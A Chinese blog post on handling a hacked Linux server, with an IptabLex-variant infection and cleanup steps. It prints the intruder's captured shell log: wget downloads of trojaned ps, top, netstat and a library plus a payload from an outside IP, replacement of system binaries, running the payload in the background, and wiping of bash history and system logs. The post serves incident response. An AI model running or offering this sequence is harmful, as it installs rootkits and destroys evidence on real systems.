Linux主机被黑过程和简单处理

海外服务器 (844) 2015-10-28 15:29:47

下面是一台公网主机被黑的过程

(以下记录通过PROMPT_COMMAND系统环境变量后台抓取)
Nov 24 03:24:32 ***: [euid=root]::[/root]# 
Nov 24 03:24:34 ***: [euid=root]::[/root]# history
Nov 24 03:26:52 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/libproc-3.2.5.so
Nov 24 03:26:55 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/ps
Nov 24 03:26:57 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/top
Nov 24 03:27:00 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/netstat
Nov 24 03:27:03 ***: [euid=root]::[/root]# chmod 777 ps
Nov 24 03:27:05 ***: [euid=root]::[/root]# chmod 777 top
Nov 24 03:27:08 ***: [euid=root]::[/root]# chmod 777 netstat
Nov 24 03:27:11 ***: [euid=root]::[/root]# cp libproc-3.2.5.so /usr/lib64
Nov 24 03:27:14 ***: [euid=root]::[/root]# rm -f /bin/ps
Nov 24 03:27:16 ***: [euid=root]::[/root]# rm -f /usr/bin/top
Nov 24 03:27:19 ***: [euid=root]::[/root]# rm -f /bin/netstat
Nov 24 03:27:21 ***: [euid=root]::[/root]# cp top /usr/bin
Nov 24 03:27:24 ***: [euid=root]::[/root]# cp ps /bin
Nov 24 03:27:29 ***: [euid=root]::[/root]# cp netstat /bin
Nov 24 03:27:33 ***: [euid=root]::[/root]# ps -ef
Nov 24 03:27:35 ***: [euid=root]::[/root]# top
Nov 24 03:27:38 ***: [euid=root]::[/root]# netstat -anp
Nov 24 03:27:40 ***: [euid=root]::[/root]# netstat -an
Nov 24 03:27:50 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/Internet
Nov 24 03:27:52 ***: [euid=root]::[/root]# chmod 0755 /root/Internet
Nov 24 03:27:56 ***: [euid=root]::[/root]# nohup /root/Internet > /dev/null 2>&1 &
Nov 24 03:27:57 ***: [euid=root]::[/root]# ls
Nov 24 03:28:01 ***: [euid=root]::[/root]# rm -rf Internet
Nov 24 03:28:03 ***: [euid=root]::[/root]# rm -rf ps
Nov 24 03:28:05 ***: [euid=root]::[/root]# rm -rf top
Nov 24 03:28:08 ***: [euid=root]::[/root]# rm -rf libproc-3.2.5.so
Nov 24 03:28:10 ***: [euid=root]::[/root]# rm -rf netstat
Nov 24 03:28:10 ***: [euid=root]::[/root]# ls
Nov 24 03:28:14 ***: [euid=root]::[/root]# rm -rf fake.cfg
Nov 24 03:28:15 ***: [euid=root]::[/root]# ls
Nov 24 03:28:21 ***: [euid=root]::[/root]# rm -rf .bash_history
Nov 24 03:28:23 ***: [euid=root]::[/root]# 
Nov 24 03:28:24 ***: [euid=root]::[/root]# history
Nov 24 03:28:30 ***: [euid=root]::[/root]# rm -rf /root/.bash_history
Nov 24 03:28:30 ***: [euid=root]::[/root]# 
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/syslog
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/messages
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/httpd/access_log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/httpd/error_log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/xferlog
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/secure
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/auth.log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/user.log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/wtmp
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/lastlog
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/btmp
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/run/utmp
Nov 24 03:28:31 ***: [euid=root]::[/root]# rm -rf /root/.bash_history
Nov 24 03:28:31 ***: [euid=root]::[/root]# 
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/syslog
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/messages
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/httpd/access_log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/httpd/error_log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/xferlog
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/secure
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/auth.log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/user.log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/wtmp
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/lastlog
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/btmp
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/run/utmp
Nov 24 03:28:37 ***: [euid=root]::[/root]# rm -rf .bash_history
Nov 24 03:28:39 ***: [euid=root]::[/root]# 
Nov 24 03:28:40 ***: [euid=root]::[/root]# history

中招后的现象:
1、主机发包严重,阻塞网络。
2、异常进程直接kill后会再次自动生成新的进程。
3、有些异常进程是随机名,kill后名字会变动
4、异常进程端口号是随机端口

异常的过程是IptabLex的变种,处理过程类似:
再查来源,有这么几个文件:
/boot/IptabLes
/boot/IptabLex
/boot/.IptabLes
/boot/.IptabLex

# cat /boot/IptabLex
#!/bin/sh 
/boot/.IptabLex 
exit 0

# cat /boot/IptabLes
#!/bin/sh 
/boot/.IptabLes
exit 0

.IptabLes 和 .IptabLes 文件,有可能是二进制文件

killall -9 scc
killall -9 .IptabLes
killall -9 .IptabLex
killall -9 profile; killall -9 profileh; 
killall -9 install; killall -9 installh; 
killall -9 office; killall -9 officeh;
killall -9 history
killall -9 node

rm -f /boot/*IptabLes
rm -f /boot/*IptabLex
rm -f /boot/..IptabLes
rm -f /etc/rc.d/IptabLex
rm -f /etc/rc.d/rc2.d/*IptabLex
rm -f /etc/rc.d/rc2.d/*IptabLes
rm -f /etc/rc.d/rc3.d/*IptabLex
rm -f /etc/rc.d/rc3.d/*IptabLes
rm -f /etc/rc.d/rc4.d/*IptabLex
rm -f /etc/rc.d/rc4.d/*IptabLes
rm -f /etc/rc.d/rc5.d/*IptabLex
rm -f /etc/rc.d/rc5.d/*IptabLes
rm -f /etc/rc.d/IptabLes
rm -f /usr/.IptabLes
rm -f /usr/.IptabLex
rm -f /etc/rc.d/init.d/IptabLe*

并将被替换的系统命令进行修复。

以上处理基本可以解决问题。

存在一种棘手的情况,恶意程序会生成一堆类似系统进程的进程名,类似:

pwd
ps -ef
netstat -an

针对此类恶意进程,通过kill是无法完全清除。

需要清除/lib/libgcc*的库文件,防止恶意程序再次启动。

1.清除/etc/crontab 中那行udev的,同时清除/etc/cron.hourly中udev.sh

2.netstat -enlp|more

kill进程中异常的端口和进程,有时是tcp有时有udp,进程名形如netstatps等,清干净后进行下一步

3.rm -rf /lib/libgcc*

4.查看netstat -anlp netstat-enlp 均无异常进程和端口开放

THE END